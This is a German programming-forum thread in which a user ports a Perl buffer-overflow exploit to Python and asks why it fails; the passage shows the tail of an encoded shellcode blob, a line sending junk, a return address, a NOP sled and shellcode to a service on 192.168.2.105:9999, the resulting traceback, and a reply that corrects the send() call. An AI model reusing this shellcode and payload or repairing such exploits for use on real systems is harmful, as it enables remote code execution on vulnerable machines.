'\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
'\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
'\x4d\x59\x45\x50\x45\x50\x43\x30\x43\x50\x4d\x59\x4d\x35'
'\x50\x31\x49\x42\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
'\x51\x42\x54\x4c\x4c\x4b\x51\x42\x52\x34\x4c\x4b\x52\x52'
'\x51\x38\x54\x4f\x4f\x47\x50\x4a\x51\x36\x50\x31\x4b\x4f'
'\x56\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x45\x52'
'\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
'\x4b\x52\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50'
'\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c\x4b\x51\x50'
'\x54\x38\x4c\x45\x49\x50\x52\x54\x51\x5a\x43\x31\x4e\x30'
'\x56\x30\x4c\x4b\x50\x48\x45\x48\x4c\x4b\x50\x58\x47\x50'
'\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44'
'\x4c\x4b\x45\x51\x58\x56\x50\x31\x4b\x4f\x56\x51\x49\x50'
'\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48'
'\x4b\x50\x43\x45\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b'
'\x43\x4d\x51\x34\x52\x55\x5a\x42\x50\x58\x4c\x4b\x50\x58'
'\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
'\x4c\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43\x34'
'\x4c\x4b\x43\x31\x58\x50\x4d\x59\x51\x54\x51\x34\x47\x54'
'\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
'\x4b\x50\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b'
'\x4d\x56\x51\x4d\x43\x5a\x45\x51\x4c\x4d\x4c\x45\x4f\x49'
'\x43\x30\x43\x30\x43\x30\x56\x30\x43\x58\x50\x31\x4c\x4b'
'\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b\x4e\x54\x4e'
'\x50\x32\x5a\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d\x4d\x4d'
'\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
'\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b\x50\x47\x45\x43'
'\x43\x42\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
'\x52\x43\x45\x31\x52\x4c\x43\x53\x43\x30\x41\x41')
send(('192.168.2.105', 9999)), ''.join((header, junk, eip, nop, shellcode))
if __name__ == '__main__':
main()
Der Fehlercode ist folgender:
Code: Alles auswählen
root@bt:~# python exploit.dav1d.py
Traceback (most recent call last):
File "exploit.dav1d.py", line 58, in <module>
main()
File "exploit.dav1d.py", line 55, in main
send(('192.168.2.105', 9999)), ''.join((header, junk, eip, nop, shellcode))
TypeError: send() takes exactly 2 arguments (1 given)
Wie gesagt ich weiss jetzt ,dass ein Argument fehlt laut google.Aber keine Ahnung welches.Ich habe aber alleine durch dieses Script schon ne Menge gelernt und eigentlich find ich es besser wenn nicht sofort alles klappt.So lernt man mehr
Könnt Ihr mir einen Tip geben welches Argument fehlt.Ich werde versuchen es dann selber einzubauen
Liebe Grüße
patzen
Re: Perl nach Python portieren problem (send data script)
Verfasst: Mittwoch 19. Oktober 2011, 14:08
von jens
patzen hat geschrieben:Code: Alles auswählen
...
def send(address, data):
...
send(('192.168.2.105', 9999)), ''.join((header, junk, eip, nop, shellcode))
Das sieht auch ziemlich komisch aus
Wie wäre es damit:
Code: Alles auswählen
def main():
...
address = ('192.168.2.105', 9999)
data = ''.join([header, junk, eip, nop, shellcode])
send(address, data)
btw. dein send() Aufruf war auch falsch eingerückt!